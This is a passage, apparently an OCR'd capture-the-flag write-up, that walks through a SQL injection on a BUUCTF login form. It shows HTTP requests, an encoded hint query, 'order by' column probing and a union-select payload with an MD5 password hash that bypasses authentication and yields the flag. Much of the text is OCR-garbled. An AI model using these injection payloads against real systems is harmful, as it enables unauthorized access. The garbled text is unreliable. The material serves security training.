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Request

Raw | Params | Headers | Hex

Target: http:/iff1a1e77-245b-4348-8¢c26-c12c6136e870.noded.buucj.cn ‘ﬁ B

Response

Raw | Headers | Hex HTML[Render]

POST search.php HTTPA 1

Host: ff1a1e77-245b-4348-Bc26-c12c6136e870 node3 buuoj.cn

User-Agent: Mozillars .0 (Aindows NT 6.1, Wing4; x84; rv:58.0) Gecko/20100101 Firefox/88.0
Accept: texthtml licationixhtmi+xml applicationdml; g=0 9. bp =08
Accept-Language: zh-CN,zh;q=0.8 zh-TW,q=0.7 ,zh-HK; q=0 5 en-US;q=0 3 en;q=0.2
Accept-Encoding: gzip, deflate

Contert-Type: application/x-www-form-urlencoded

Content-Length: 19

Drigin: hitp: /i1 a1 e77-245b-4348-8c26-c12c61 362870 .node 3 buuoj.cn

Connection: close

Referer: hitp: /fff1a1e77-245b-4348-8c26-¢12¢61 362870 node3 buugj.cnf
Upgrade-Insecure-Reguests: 1

name=admin&pw=admin
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HTTPAM .1 200 OK

Server: openresty

Date: Sat, 29 May 2021 05:36:38 GMT
Content-Type: texthtml
Content-Length: 228

Connection: close

Wary: Accept-Encoding
¥-Powered-By: PHP/S.3.29

<L-MMZFM422K5HDASKONSTVUISKOZR

OSTZKJZVEVIRNRFHOPIS—>

FGORRMMZ FMBKJJBSGEIWSYJIWESSCWRINFQSTVLFLTCICIIRY

=meta hitp-equiv="Contert-Type" contert="texthtml, charset=Ltf-8" f=

<title=Do you know who am 12=fitle=
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MMZFM422K5HDASKDN5 TVU3SKOZRFGQRRMMZFM6KJIIBSGOWSYJIJWESSCWPINFQSTVLFLTC3CIIQYGOSTZKI2VSVZRNRFHOPJ5
Zitbase32f#HY 5
c2VsZWNOICogZnIvbSB1c2VyIHdoZXJI1IHVZzZXJuYW11IDOgIyRUYW11Jw==
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select * from user where username = '$name’

AUEE, hint BN ZRFEBKRSTEANNRFR

SR EM G, FIH order by BE HHIFK

URL

http:/ff1ale77-245b-4348-8¢26-¢12¢6136e870.node3.buuoj.cn/search.php

enctype

Enable POSTapplication/x-www-form-urlencoded

Body

name=admin’ order by 4#&p_wu=admin|

6] &40 T

4 | ff1a1e77-245b-4348-8c26-c12c6136e870.node3.buuoj.cn
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name=admin' Order by 4#&pw=admin

4 | ff1a1e77-245b-4348-8c26-c12c6136e870.node3.buuoj.cn
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Error: Unknown column '4' in 'order clause'
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http://ff1ale77-245b-4348-8c26-c12¢c6136e870.node3.buuoj.cn/search.php

enctype

~

Enable POSTapplication/x-www-form-urlencoded v ADD HEADE

name=admin' Order by 3#&pw=admin

4 ffla1e77-245b-4348-8c26-c12c6136e870.node3.buuoj.cn
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TiRIERE B4 K hint : select * from user where username = '$name’
XEMERATRABAEN, % ' WA, AWML, admin, password
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payload i :

URL
http:/ff1ale77-245b-4348-8¢26-¢12¢6136e870.node3.buuoj.cn/search.php

enctype

Enable POSTapplication/x-www-form-urlencoded v Al

Body

name="union select 1,admin’;21232f297a57a5a743894a0e4a801fc3'#&pw=admin

5 3flag:

c% | ffla1e77-245b-4348-8c26-c12c6136e870.node3.buuoj.cn
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flag{64693067-dc43-42e5-856c-5feafbb111ab}
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